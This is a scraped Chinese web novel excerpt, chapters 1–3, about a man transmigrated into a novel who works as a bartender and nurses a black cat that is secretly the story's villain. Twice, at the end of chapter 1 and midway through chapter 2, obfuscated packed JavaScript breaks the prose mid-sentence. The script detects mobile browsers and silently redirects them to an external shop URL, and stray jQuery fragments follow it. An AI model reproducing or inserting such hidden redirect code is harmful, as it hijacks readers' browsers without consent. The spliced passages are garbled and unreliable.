《我捡的黑猫是反派》
1. 第 1 章
夏末秋初,帝都夜色酒吧内,穿着红色风衣留着大波浪长发的女人单手托腮,微微仰头,将杯中的Tequila一饮而尽,然后示意吧台后面的调酒师再来一杯。
调酒师犹豫片刻,还是劝道,“客人,您今晚已经喝了三杯,再喝下去明天肯定会不舒服的。”
女人刚开始沉浸在自己的思维中,压根没注意周围的环境。
直到听见那诚恳又温柔的声音,她眉梢微挑,目光才逐渐聚焦。
女人先是看到那被白衬衫黑马甲勾勒出的劲窄腰身,逐渐上移,划过漂亮的胸膛,最终落到一张温文尔雅的俊秀面庞上。
她微微怔忪,要不是周围旖旎暧昧的蓝紫色灯光和宛转悠扬的曲调,手边放着的是酒杯而非茶杯,她都以为自己此刻正置身于大学教室或者一些带有文艺气息的地方。
原因无他,青年温润如玉的气质和端方雅正的长相实在跟酒吧这种地方太过格格不入。
青年似乎早就习惯了别人或惊艳或诧异的目光,神色不变,微笑着继续道,“如果客人不嫌弃,我煮了一些银耳雪梨汤,可以给您来一碗。”
“您放心,这是免费的,不另外收钱。”
女人被他的补充说明逗笑,“真的不收钱?”
青年微微颔首,“嗯。”
女人饶有兴趣看着青年,“你真有意思,别人都巴不得客人多喝几杯,哪儿有劝着客人少喝的?”
“因为我看客人似乎不是为了喝酒来的,只是心情不太好。”青年那双漂亮的琥珀色眸子里带着淡淡的担忧和不赞同,“适量喝酒的确能放松,但喝太多会对身体造成负担,这样不好。”
“我希望我们酒吧能让客人高兴,以后无聊了想打发时间还会选择这里,而不是为了提成把客人往死里灌。”
女人盯了他许久,确定青年是真心实意说出的这番话,含笑道,“行,那就给我来一碗你说的那个什么——什么汤来着?”
“银耳雪梨汤。”青年说完,微微欠身,“请您您稍等片刻。”
几分钟后,女人看着面前盛放在花瓣形状的透明玻璃碗中卖相很好的银耳雪梨汤,原本漫不经心的神色收敛了许多,身体也坐直了。
她舀了一勺银耳雪梨汤,入口的瞬间,眼睛顿时亮了!
“这真的是你煮的?”女人咽下嘴里的银耳雪梨汤,语气中满是惊艳。
“对。”青年莞尔,“客人喜欢就好。”
“确实喜欢,你手艺真不错。”女人眸光微闪,她一口接一口,不知不觉间,就喝完了一整碗银耳雪梨汤,甚至认认真真将内壁上残留的都刮了个干净。
她意犹未尽舔了舔唇,突然生出了一个念头,可嘴刚张开,想到什么,又默默闭上。
女人做了个深呼吸,强迫自己看向不远处挂着的菜单。
可逡巡几遍都没找到想要的东西,她眉头微蹙,询问道,“这银耳雪梨汤味道不错,怎么菜单上没有?”
“啊,这个是我今天突发奇想煮的,并没有打算在店里售卖。”青年莞尔,“如果您喜欢,我之后会跟老板说一下。”
女人再次确认,“这真的是你煮的?”
青年并没有因为对方的质疑不高兴,很有耐心地点点头,“对。”
女人细细打量着青年出众的容貌,指尖摩挲着杯壁,问道,“那除了银耳雪梨汤,你还会什么?”
青年沉思片刻,认真回答道,“我在酒店、奶茶店、烘焙坊之类的地方打工过,一般的家常菜和甜品都会一点。”
女人眸光闪了闪,装作不经意般问道,“这么辛苦啊,你是不是很缺钱?”
“嗯,因为我有个好赌的爸,生病的妈,上学的弟弟和破碎的家。”青年说着说着,噗嗤一笑,“开玩笑的,这些都没有。”
女人也忍俊不禁,心中的郁闷和不爽瞬间一扫而空。
她看着青年,眼中满是欣赏,“你真有意思,对了,我还没问你叫什么名字呢。”
青年弯了弯唇,“客人叫我Devin就好。”
女人动作一顿,再抬眼时,又多了几分探究。
不过她很快就收敛起来,装作若无其事的样子笑着夸道,“Devin啊,名字不错。”
女人撩了一下头发,直接发出邀请,“你下班后还有别的安排吗?”
青年垂下眼帘,嘴角扬起一抹无奈又宠溺的弧度,委婉拒绝道,“抱歉,家里有个不省心的小祖宗,所以......”
女人被他这神情弄得有些懵,怔忪过后,陡然生出一股强烈的破坏欲。
但是在青年那干净纯粹的琥珀色眸子看过来时,那些阴暗疯狂的念头又霎时间烟消云散。
她叹了一口气,摇了摇头,从包里拿出一沓现金放到吧台上,然后起身。
青年连忙喊住她,“客人,您给多了。”
“没给多,银耳雪梨汤很不错,剩下的给你当小费。”说完,女人摆摆手,潇洒地离开了酒吧。
“Devin,刚刚那位是不是又——”同样穿着侍者服装,只不过扣子解开四颗露出精致的锁骨和一小片细腻肌肤,长相可爱的娃娃脸凑了过来,朝青年挤眉弄眼。
青年莞尔,轻轻弹了一下他的额头,“客人的事,不该问的别多问。”
“你可真是......”娃娃脸哼哼一声,趴到吧台上,他脸枕着胳膊,看青年调酒,嘟囔道,“有时候我挺羡慕你的,不用拼死拼活劝酒,就有人上赶着给小费,真好。”
青年脸上微笑不变,声音也依旧温柔,“能听我劝的客人都不是奔着酒本身来的,你劝酒的那些客人都是来酒吧放纵的,喝酒对他们来说是助兴。”
娃娃脸眼珠转了几圈,仔细一琢磨,发现确实是这么个理。
青年轻笑,“说实话,我也很羡慕你能三两句话就把场子点燃,让那么多人喜欢你,这个我肯定做不到。”
“还好吧,只要放得开,豁得出去就行了。”娃娃脸嘴角轻翘,眼中也多了几分自得,“对啦,你那个银耳雪梨汤还有吗,能不能给我也来一碗?”
“当然可以。”青年笑着点点头,去后厨盛了一碗出来,另外还拿了两个烤面包片,“赚钱很重要,但身体更要紧,你稍微注意点。”
“知道啦~”娃娃脸喝了一口香甜滑糯的银耳雪梨汤,又咬了一口烤面包,露出惬意的神情,“Devin,你真贤惠,我都想以身相许了。”
青年哭笑不得,调侃道,“我养活自己都够呛,你跟着我是想天天喝西北风吗?”
“可我觉得你对你家小祖宗那么好,对恋人应该差不到哪儿去吧?”娃娃脸嘴里塞满了食物,腮帮子鼓鼓的,还不忘接话。
提到小祖宗,青年琥珀色的眸子里盈满了温柔,笑容也变得格外甜蜜。
娃娃脸看着他这模样,心里酸得直冒泡。
他还想说些什么,余光瞥见有客人进来,咀嚼的动作一顿,下意识想要直接过去迎接。
可瞅着还没吃完的东西,娃娃脸挣扎片刻,咬咬牙,将烤面包片塞进嘴里,快速咀嚼两下,然后暴风吸入剩下的银耳雪梨汤,咽下去后一边拿面纸擦嘴一边往满口跑,还不忘朝青年挥了挥手。
青年微笑,目送娃娃脸离开。
随着时间推移,酒吧里的客人越来越多,青年在调酒的间隙不忘照顾每一位坐在吧台前客人的情绪。
他煮的银耳雪梨汤广受好评,甚至有那不差钱的追求者想通过支持他开店的方式拉近二人的关系。
沈南风依旧用那套说辞委婉拒绝了对方,瞧着对方那神情有些不对,又恭维了几句才将人安抚好。
直到凌晨两点,最后一个客人离开,打扫工作结束后,酒吧才恢复了安静。
青年倒完垃圾,回来后看着昏暗夜灯下沉默无声的沙发桌子,嘴角的弧度逐渐压平。
他最后检查了一遍桌椅板凳和酒水,又算了一下账,确定没有问题,才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735075|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拍下来发给店长,然后迈开沉重的步伐顺着楼梯上了二楼,推开尽头的一扇门。
月光透过玻璃,照亮了一小片天地。
狭小的屋子里堪堪放着一张折叠单人床和一张小桌子,除此之外就是一些生活用品,是所有平平无奇打工人的标配。
除了黑暗中漂浮在空中的一对祖母绿小灯泡。
看到那小灯泡的瞬间,青年周身萦绕着的寂寥与疲惫瞬间消散。
那双漂亮的琥珀色眸子微微弯起,他声音也透着浓浓的愉悦,“我回来啦~”
随着“啪嗒”一声,开关被按下,屋内瞬间变得明亮。
趴在枕头边的绿眼黑猫也显露出身形。
“球球,你今天感觉怎么样,有没有哪里不舒服?”青年关上门,走到床边,笑盈盈问道。
黑猫淡淡地瞥了他一眼,高冷范十足。
“哎呀,咱俩都认识这么久了,你怎么还这么冷淡?”青年一扫营业中的温柔体贴,跟个幼稚的小孩子般,捂住脸假哭,“人家好伤心,要球球亲亲才能好~”
黑猫早就习惯了青年这死出,静静看着他表演。
“呜呜呜,球球好冷酷好无情,咱们同床共枕这么久,竟然连个亲亲都不愿意给我吗?”青年捂着脸的手下移,落到胸口的位置。
他眨巴着那双充满委屈的桃花眼,一副心碎到极点的模样。
黑猫身体一僵,爪垫下意识抬起些许。
但瞥见青年眼中隐藏着的些许促狭,又飞快回神,气恼地将头扭向另一边,不搭理对方。
青年见装可怜没用,眼神瞬间变得犀利起来。
他左手叉腰,右手指着黑猫,冷笑一声,“既然你不愿意接受我的爱,那就试试我的恨吧!”
黑猫:“......”
“你现在伤还没好,我不碰你。”青年继续威胁道,“但是等你彻底好了,我非得把你吸秃不可!”
说完,他自己都没憋住,被这中二气息十足的台词逗得笑出了声。
虽然早就知道青年什么德行,黑猫还是翻了个大大的白眼。
青年过足了戏瘾,整个人满血复活。
他飞快揉了两下黑猫毛茸茸的脑袋,然后在对方控制不住要抬爪的时候飞快收回手,率先开口道,“好了好了,不逗你了,时间不早了,我再不睡就要就要猝死了,先洗澡先洗澡。”
说完,他哼着歌儿打开行李箱,拿了换洗衣服进了卫生间。
门关上后,青年不经意瞥见镜子里漂亮精致但透着几分青葱稚嫩的面容,脚步猛地一顿。
他反应过来这人是自己,心中多了几分无奈。
将衣服放到马桶盖上,青年回到镜子前。
仔细打量着哪怕连续工作了九个小时依旧抗打的脸,他不由在心里感叹了一句年轻真好。
青年名叫沈南风,二十八岁生日当天他负责带的新人小姑娘送了他一本书,说里面的男配跟他同名同姓,长相也极为相似,以防万一,让他最好熟读背诵,免得穿书之后不知道剧情。
他当时只觉得好笑,并没有放在心上。
结果下班后刚出公司,他先后接到两通电话。
尽管不抱有任何希望,可亲耳听到那些伤人的话语,青年终究不太好受。
于是,他打算好好给自己过个生日,在外卖软件定了一个四寸的蛋糕,等待的过程中难得没有处理工作上的事,拿起那本小说看了起来。
可谁能想到在他许下想要摆脱乱七八糟的家人好好过自己的日子这个愿望后吹灭蜡烛,会变成那本真假少爷文里的万人嫌假少爷?
天知道他一睁眼,看到自己站在废弃工厂楼顶,半条腿都迈出去了有多惊恐!
情急之下他连忙后仰身体,这才堪堪捡回一条小命!
确定这一切不是做梦,而是真实之后,沈南风脑子里突然浮现出一个视频片段——哎?你大爷的!给我干哪儿来了?这还是国内吗!
2. 第 2 章
对穿书这件事,沈南风接受良好,毕竟他对原来的世界也没什么留恋。
在他很小的时候父母便因为感情破裂离了婚,没几年又各自组建了新的家庭。
当初爱有多深,分开后的恨就有多浓,他们迫切想要摆脱那段不堪的过往,开始新的人生,于是曾经的爱情结晶便沦为绊脚石,要多碍眼有多碍眼。
小小的沈南风被两边踢来踢去,他再懂事再能干成绩再好都无济于事,大人们稍有不顺心便对他非打即骂,将生活中积攒的不满全都发泄到他身上,他不得不像狗一样摇尾乞怜才能活下去。
好不容易熬到大学毕业,沈南风找了份不错的工作,原以为终于能够松口气,熟料亲生父母一扫之前憎恨嫌恶的态度,疯狂打亲情牌,各种哭穷,找各种理由从他那里要钱。
沈南风起初还对他们抱有期待,可后来工作压力太大,甚至精神出现问题,便想着辞职休息一段时间。
他刚说了自己的打算,两边都炸了!
在苦口婆心各种劝说无果后双方都暴跳如雷,甚至担心他会跑到他们的再婚家庭啃老。
那丑陋的嘴脸让沈南风彻底认清了自己的亲生父母根本不爱他,只想着将他敲骨吸髓。
沈南风心灰意冷,直接辞职,拉黑了所有人的联系方式,搬去了另一个城市,打算卸下重担,只为自己而活。
熟料这下仿佛捅了马蜂窝,亲生父母不仅发动那些他认识的不认识的亲戚疯狂对他进行电话轰炸,甚至还想报警找他,威胁他要是不给钱,就跑到他公司闹事,让他烦不胜烦。
沈南风本来都打算好了,再熬两年,等他有了些积蓄,就想办法出国,那些人再疯,总不至于跑到国外找他,没成想竟然先穿进书里来了。
对原主来说,万人嫌真少爷这个身份是痛苦的枷锁,对他来说,却是自由的象征。
有血缘关系的家人心思都放在有心脏病的假少爷身上,没血缘关系的家人只在乎有钱的假少爷,他不用背负任何人的期待,可以随心所欲做任何想做的事情,这不是他一直以来梦寐以求的东西?
就是不知道在原来的世界里自己是死是活,不过也无所谓,他早就立好了遗嘱,死后会把所有财产捐赠出去,不让那些吸血鬼占自己半点便宜!
想到两边千里迢迢跑过去却得到这样一个结果,沈南风嘴角轻翘,心情变得格外好。
简单洗漱过后,他将洗干净的衣服晾好,推开卫生间的门。
看到床上那小小的一团毛绒绒,沈南风心都要化了。
他一直以来都想拥有一只属于自己的猫,无奈读书时寄人篱下,自己吃饭都成问题压根养不起猫,工作后为了赚钱鲜少有太多个人时间,只能遗憾放弃。
虽然现在依旧拮据,但没了那些跗骨之蛆,只要他勤快一点,花钱不大手大脚,日子还是很有盼头的。
沈南风关了灯,侧躺到床上,笑盈盈道,“球球,要是明天检查结果不错,等你身体养好了,医药费应该能还得差不多,到时候我再攒点钱,就换一份稍微稳妥一点的工作吧。”
黑猫抖了抖耳朵,扭头看沈南风,静静等着他接下来的话。
“现在这份工作虽然来钱快,但麻烦的客人也越来越多,今天遇到的几个还好,被我拒绝之后不仅没有生气还给了小费,前几天那个大叔还有那个富二代......一次两次倒也罢了,茗茗姐会护着我,但次数多了,她也会不耐烦吧。”
说到这里,沈南风深深地叹了一口气,“你的医药费还没还清呢,我要是现在被炒鱿鱼,就只能带着你睡桥洞翻垃圾桶找吃的了。”
黑猫:“......”
沈南风突然想到以前听过的一个梗,忍着笑意握住黑猫柔软的爪爪,深情款款道,“球球,如果我是流浪汉,你还爱我吗?”
回应他的,是黑猫的王之蔑视,以及一只撤回的猫爪。
沈南风哈哈大笑。
但笑够了,他又叹了一口气。
“当人好累,当打工人更累,一天到晚忍忍忍的,我迟早有一天会变成忍者神龟。”沈南风一边摩挲着手指回味黑猫爪爪那柔软Q弹的触感,一边碎碎念,“要是我也能变成猫就好了,你这么厉害,就算出去流浪,肯定也是猫界一霸,到时候肯定能罩着我的,对吧?”
黑猫抖了抖耳朵,尾巴尖儿轻轻翘了翘,下巴还微微抬起。
沈南风被它得意的小模样逗笑,又叹了一口气,“不过这是不可能的事,人怎么可能变成猫呢?”
黑猫那双漂亮的祖母绿眸子闪了闪,心虚地移开视线,尾巴也耷拉下去,垂在床单上。
沈南风没注意黑猫的不自在,将脸埋进被子里,声音也变得闷闷的,“我不想努力了,要不再有下次,咱俩一起吃软饭去?”
黑猫嘴角微微抽搐,眼神那叫一个一言难尽。
沈南风说完,猛地一哆嗦,疯狂摇头,“不不不,还是算了,万一那人有什么变态的癖好,我可不想年纪轻轻就废了!”
想到那大名鼎鼎的富婆快乐球,沈南风表情扭曲,拉过被子盖到身上,仿佛这样就能找到一些安全感。
“狗命要紧,钱可以慢慢赚,身体垮了就是真的垮了,我还是靠自己吧!”
黑猫懒得听他胡言乱语,闭上眼,打算睡觉。
“呜呜呜,可是我真的不想努力了。”沈南风一边假哭一边将脸埋进黑猫毛茸茸软乎乎的肚皮里面。
他深深地吸了一口猫,整个人爽得灵魂都快升空了。
察觉到黑猫身体猛地绷紧,前爪还抬了起来,沈南风头皮发麻,连忙装作委屈巴巴的样子疯狂卖惨,“要是没有球球,这狗屎的日子我是一天都过不下去了,要是球球也讨厌我的话,我不如死了算了。”
黑猫想到沈南风刚刚的抱怨,已经亮出弯刀形状指甲的右爪在空中停顿了数秒,最后只是用柔软的爪垫轻轻推了推以下犯上的铲屎官。
沈南风嘴角疯狂上扬,周围都冒出来好多小花花。
虽然他很想抱住黑猫就是一顿狂蹭,但顾忌着黑猫身体还没好全,不敢太变态。
沈南风一边哼哼唧唧撒娇,一边吃黑猫豆腐。
直到黑猫真的不耐烦了,他才亲了亲黑猫暖烘烘的小肚皮,依依不舍松开它,“好啦,不闹了,再不睡我真的可能会猝死。”
“晚安,球球,睡醒见。”
说完,他闭上眼,呼吸很快就变得均匀起来。
黑暗中,一双绿莹莹的眸子盯着那张毫无防备的精致面容,神色晦暗不明。
黑猫并不是真的猫,而是原剧情中的大反派顾西洲。
那天他心情不好,没带司机,自己开车打算出去放松放松,谁成想经过一处烂尾楼时迎面而来的大货车突然朝他撞了过来!
顾西洲当即猛打方向盘,有惊无险避开了那辆大货车,可不等他松口气,下一辆大货车又撞了过来,直接把他开的那辆迈巴赫顶到了墙上!
得亏迈巴赫质量过硬,安全气囊及时弹出来,才让他没当场毙命。
顾西洲不认为这般周密的安排会这样轻易结束,缓过来之后便推开车门,想要出去。
但安全气囊质量过硬,把他卡的太死,眼瞧着那辆大货车又要撞过来,顾西洲以为自己这次必死无疑,千钧一发之际,他竟然变成了一只黑猫!
顾西洲没来得及多想,拼着最后一口气从打开的车门滚了出去!
落地的刹那,迈巴赫仿佛被踩扁的易拉罐,瞬间压缩变形!
变成黑猫的顾西洲不敢耽搁,强忍疼痛艰难地顺着墙根离开,刚跑出去几米,就听“轰”一声,大货车直接爆炸!
它被气浪波及到,飞出去十几米撞到墙上才堪堪落地。
黑猫不敢耽误,强撑着离开了那个是非之地。
不知何时,天空飘起雨,黑猫也力竭,倒在了路边。
它看着自己毛茸茸的黑色猫爪,心中无比苍凉。
如果是大活人,倒在路边说不定还能得到救援,可谁会在意一只猫的死活?
顾西洲从未如此憎恨过命运的不公,为什么要在给他希望后又让他绝望,这样很好玩是吗?
就在他疯狂诅咒一切时,一双陈旧泛黄且略微破损的廉价运动鞋出现在视野中,最后停了下来。
不知何时,雨停了,金色的阳光透过云层缝隙,照亮了整个晦暗阴郁的世界。
温柔漂亮的青年逆着光单膝跪地,不知道是不是幻觉,黑猫仿佛看到了他身后那对洁白漂亮的翅膀。
再醒来,黑猫已经到了宠物医院,做完手术,过了观察期,它被沈南风带到了如今的住所——酒吧二楼杂物间改出来的员工宿舍。
顾西洲自然是知道沈南风,毕竟沈家那个有心脏病的白莲花假少爷可是他那个私生子弟弟的未婚夫。
从前他只觉得沈南风这个正牌小少爷太过窝囊,被假货陷害成那样都不反抗,只会躲起来偷偷哭。
这要换成他,既然污蔑他欺负人,不把白莲花假少爷跟瞎了眼的家人揍得下不来床岂不是对不起他们一盆又一盆泼过来的脏水?
当然,沈南风现在也没好到哪里去,在外面受了委屈依旧不敢当场发作,只会回来抱着他撒娇求安慰。
只不过变成一穷二白还要靠沈南风养着的猫后,他也逐渐能理解对方的难处。
可即便如此,顾西洲还是不爽。
要不是他现在是猫,还受着伤不能剧烈运动,否则非得挠花那些想占沈南风便宜的王八犊子的脸!
思及此处,黑猫那双祖母绿的猫瞳再次变成菜刀形状,尾巴也甩得啪啪作响。
似乎是被它的动静惊扰到,沈南风哼哼一声,浓密卷翘的睫羽微微颤抖。
黑猫动作猛地顿住,呼吸都不自觉屏住了。
等沈南风重新睡着,它才松了一口气。
察觉到自己方才的反应,黑猫耳朵下压成飞机耳的形状,将脸埋进爪爪里,直接自闭。
翌日,黑猫是被闹钟弄醒的。
它懒洋洋打了个呵欠,趴在床上看沈南风简单洗漱过后穿着浅蓝色的围裙忙忙碌碌。
食物的香气逐渐弥漫开来,勾得人食指大动。
等了差不多半小时,午饭终于做好了。
黑猫看着自己碟子里精致漂亮的蔬菜虾肉卷,再瞥一眼沈南风碗里堪称寒酸的虾头青菜面,烦躁地甩了甩尾巴。
沈南风夹起一些面条,吹了吹。
他刚准备吃,看到黑猫的反常,疑惑地问道,“怎么了,球球,是不喜欢吃蔬菜虾肉卷吗?”
黑猫对上他清凌凌的琥珀色眸子,那种憋闷的感觉又加强了许多,尾巴甩得越发用力。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735076|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
沈南风揉了揉黑猫的脑袋,柔声道,“抱歉,你这顿先凑合一下,一会儿检查结束回来我去菜市场给你买点牛肉好不好?”
黑猫叹了一口气,担心沈南风破费,不再想那些有的没的,低头吃起了蔬菜虾肉卷。
沈南风的手艺确实不错,虾肉鲜香滑嫩,没有半点腥味,哪怕没放什么作料,依旧十分可口。
沈南风见黑猫吃得飞机耳都出来了,尾巴尖儿也欢快地摇晃着,心中充满了成就感。
他又欣赏了一会儿猫猫吃饭,这才重新握紧筷子,继续吃自己那份。
往常除了公司聚餐,沈南风都是一个人吃饭,难免会觉得孤单。
可自从捡到黑猫,哪怕对方很安静,带来的陪伴却是真实存在的。
每每想到有这样一个看着高冷实则温柔的小家伙在房间里等着自己下班,他就觉得自己的一切奋斗都是有意义的。
沈南风嘴角轻翘,怀着愉悦的心情吃完饭,又收拾好碗筷,检查完出门要用的东西,最后拿出航空舱,对黑猫招了招手,“球球,过来,咱们该出发啦!”
黑猫瞥了他一眼,这才迈着优雅的步伐进了航空舱。
沈南风抱着航空舱,刚下楼就看到吧台那边穿着米色风衣端着杯威士忌的妩媚女人。
他连忙停下脚步,礼貌打了个招呼,“茗茗姐,下午好。”
女人右手撑着头,由于微醺,脸颊有些泛红。
听到声音,她唇边漾起一抹勾人的弧度,“你这是要出门?”
“对。”沈南风点点头,“我跟医生约好了下午给球球复查。”
说完,他又补充道,“昨天的账单我已经整理好了,纸质的锁在抽屉里面,电子版的已经发到您手机上,另外有几个客人对银耳雪梨汤很有兴趣,茗茗姐要是觉得还行,我这几天培训的时候可以把这个也加上。”
赵茗单手托腮,似笑非笑,“都说教会徒弟饿死师父,你就不怕你带的这几个把你的手艺都学会了,然后抢了你金牌调酒师的位置?”
沈南风莞尔,语气十分诚恳,“在我最困难的时候,是茗茗姐收留了我,还给我提供了工作,这段时间大家对我也很关照,要是他们都变成金牌调酒师,咱们酒吧的名气也能更上一层楼,到时候客人多了,提成也会增加,茗茗姐也能开几家分店,这不是好事?”
赵茗一直打量着沈南风的神情,见他说的都是真心话,神色柔和了许多,“你这性子,难怪那么多人喜欢。”
沈南风态度十分谦和,“茗茗姐过奖了。”
赵茗又喝了一口威士忌,目光落到航空舱内的黑猫身上,“你对这只猫可真上心,前前后后帮它看病的钱都够买一只赛级的品种猫了吧?”
“这么多钱砸在一只土猫身上,真的划算?”
黑猫抖了抖耳朵,也看向沈南风。
因为有个白富美恋爱脑妈和凤凰男渣爹,顾西洲从小到大都活在别人的憎恶与算计里面,也习惯了被人那样对待。
沈南风要是知道他的真实身份,不遗余力救他倒也罢了,等他变成人之后肯定会报答对方。
可从这段时间的相处看来,沈南风真的只以为他是一直再普通不过的猫。
明明这人自己都被赶出家门,十分拮据,还对一只猫这么好,顾西洲真的很困惑沈南风为什么要做这种吃力不讨好的事。
沈南风听到这话,第一反应是想捂住黑猫的耳朵。
无奈航空舱隔着,他只得暂且作罢。
对上黑猫那双漂亮的祖母绿猫瞳,沈南风眼中带了几分怜惜。
“我对品种血统什么不是很在意,谈不上什么划算不划算,只是做了我觉得不会后悔的事。”他收紧抱着航空舱的胳膊,语气格外温柔,“其实依照我现在的情况,压根不会考虑养猫,好歹也要有个稳定的住所和充足的积蓄,但球球恰好出现在那里,还是那么个情况,我要是放任不管,它肯定......”
“从某方面来说,我们真的很有缘。”
黑猫蓦地心慌,扭过头去不敢继续跟沈南风对视。
但那下压的飞机耳和环住身体的尾巴以及蜷缩的爪爪都将它的真实想法暴露无遗。
赵茗是个利益至上主义者,从不做赔本买卖,因此完全无法理解沈南风的脑回路。
不过她有个优点,就是尊重他人的选择。
于是,赵茗耸了耸肩,无所谓道,“只要不影响酒吧营业,你高兴怎么就怎么吧。”
沈南风应了一声,然后道,“茗茗姐要是没有其他事,我就先走了。”
“去吧。”赵茗摆了摆手,示意沈南风随意。
宠物医院离酒吧不是很远,过两个红绿灯就到了。
经过一系列检查,穿着白大褂的宠物医生对沈南风道,“它身体恢复得不错,好好养着,按时吃药,最多两个月就能跟以前一样活蹦乱跳了。”
沈南风松了一口气,面上也带了几分笑,“这段时间麻烦您了。”
“不麻烦,这是我应该做的。”宠物医生说着,又看向黑猫,“你这只猫应该已经成年了,要不顺便给它做个绝育?”
“不然等它稍微能动弹了,万一发情从家里跑出去,再受伤就麻烦了。”
黑猫原本安静趴着,听到这话,瞬间炸毛,躬起背超凶地冲着宠物医生哈气!
3. 第 3 章
宠物医生本来只是随口一说,见黑猫反应这么大,她脸上瞬间扬起灿烂的笑容,“你这猫脾气挺大啊,这段时间能动弹了,在家是不是作威作福的?”
沈南风也被黑猫生气的模样吓了一跳,好笑的同时又有些无奈。
但他还不忘给黑猫正名,“球球只是看着高冷,其实它很温柔的。”
“温柔?”宠物医生看着那只明显进入攻击状态的黑猫,不由露出怀疑人生的表情,“你在开玩笑吗,我们说的是同一只猫?”
“球球应该是被吓到了,它平时不是这样的。”沈南风继续解释,“刚刚检查的时候它不也挺配合的?”
“配合吗?”宠物医生嘴角抽了抽,“要是眼神能杀人,我怕是已经死了不知道多少次了吧?”
沈南风忍俊不禁,“抱歉,它确实看着有点凶。”
“没事,等它绝育之后就不会这么凶了,还会变得超级粘人,你真的不考虑一下?”宠物医生继续怂恿,“当然,要是担心它记仇,我们还可以提供抢猫服务,做完手术再联系你过来救猫,这样它就会更信任你了。”
黑猫这下是真的受不了了,低吼一声,跳起来就想给宠物医生一爪子!
沈南风眼疾手快,一把抱住黑猫,“好啦好啦,医生开玩笑呢,你别当真。”
黑猫不依不饶,在他怀里疯狂挣扎。
沈南风好几次差点让黑猫跳出去,赶紧背对着宠物医生继续哄。
他好说歹说半天,终于安抚好黑猫。
沈南风正要松一口气,宠物医生又笑眯眯凑了过来,“你这猫真够野的,也就你脾气好能受得了,换个人怕是早就放生了。”
沈南风直觉对方又要踩雷,刚要打断,宠物医生下句话又接了上来,“绝育不行的话,要不再养一只猫?”
“这样它肯定坐不住,会来争宠,到时候也乖一点。”
黑猫听到这话,眼睛立刻变成菜刀形状,对她进行死亡凝视。
沈南风头疼不已,捂住黑猫的耳朵无奈道,“球球它好不容易才冷静下来,你就别再火上浇油了。”
宠物医生哈哈大笑,“行,我不说了,你带它回去吧。”
沈南风将黑猫放进航空舱,关好笼门正要离开,又被喊住。
宠物医生眼中满是促狭,“要是你哪天改了主意,我这里随时欢迎哦。”
沈南风:“......”
黑猫:“......”
宠物医生说完,又笑开了。
沈南风担心黑猫一气之下直接打开笼门去抓挠宠物医生,忙不迭加快脚步离开。
到了大街上,他身体这才放松下来。
结果一低头,就对上黑猫不爽的菜刀眼。
除此之外,航空舱还被那小鞭子似的尾巴甩得啪啪作响。
沈南风哭笑不得,也担心黑猫一气之下离家出走,连忙放软声音安抚道,“好啦,球球,别生气了,我保证不会逼着你做你不喜欢的事情。”
黑猫将信将疑,还没忘记刚刚宠物医生说抢猫表演的事。
沈南风想了想,道,“实在不行,真到了发情期,我就问问谁家小母猫想找小公猫,要么送你过去,要么来咱们这里让我照顾都行?”
黑猫:“......”
它又不是真的猫,怎么可能找小母猫?
这家伙到底在胡说八道什么!
眼瞧着黑猫再次炸毛,沈南风赶紧服软,“好好好,我不说了,你别生气。”
黑猫没好气瞪了他一眼,将脸扭向另一边,闭目养神去了。
为了安抚黑猫,回去时路过菜市场,沈南风特意去买了些牛肉,打算回去给黑猫做牛肉羹。
菜市场的大叔大婶们经过这段时间的相处也跟沈南风熟悉起来,看到这个俊俏小伙儿,纷纷笑着跟他打招呼。
“小沈,又来给你家猫买吃的啊。”
“小沈这猫养得可真好,油光水滑的,就是眼神忒凶了,有点吓人。”
“小沈,你也别光顾着猫,也对自己好点,多买点好的补补,看你瘦的。”
......
黑猫听着这些人对沈南风的关怀,不屑地哼了一声。
只是尾巴尖儿一翘一翘的,明显心情还不错。
直到一个不和谐的声音突然响起。
“小沈对猫都这么好,对媳妇肯定更好,阿姨有个侄女,各方面条件都不错,跟你也般配,要不你加一下她的联系方式,处着试试?”
不知怎的,黑猫听到这话,莫名有些不爽。
沈南风没注意黑猫的臭脸,笑得有些无奈,“阿姨,我知道您是好心,但我现在一穷二白的,养活自己跟猫都勉勉强强,哪儿能耽误人家女孩子?”
“这有什么,我那侄女有钱有房,就是事业心太强了,相亲好几次都没成功,她对未来另一半没什么要求,只要听话懂事能把家里打点好就行。”那卖菜的阿姨越说越兴奋,“我看小沈你经常跑菜市场,肯定很会做饭,家务应该也很擅长,你俩要是能凑一对,肯定能把日子过好!”
沈南风笑容淡了几分,但还能维持基本的礼貌。
结果那阿姨说着说着,又皱眉看向他手里的航空舱,“不过我那侄女对猫毛过敏,你要是打算跟她好好过日子,还是得把猫送走或者直接放生。”
沈南风嘴角的弧度逐渐拉平,但想着隔三差五还要过来买菜,闹得太僵不好。
他做了个深呼吸,尽量用平静的语气道,“抱歉,阿姨,球球对我来说不只是一只猫,更是我的家人,我做不出把它送人或者遗弃的事。”
担心这个阿姨记恨上自己,沈南风又恭维道,“阿姨的侄女特别优秀,她肯定能遇到更好的人,我养了猫,她又对猫毛过敏,说明我们两个没有缘分。”
那卖菜的阿姨皱着眉,语气不悦,“怎么就没缘分了,猫哪儿能跟人比?”
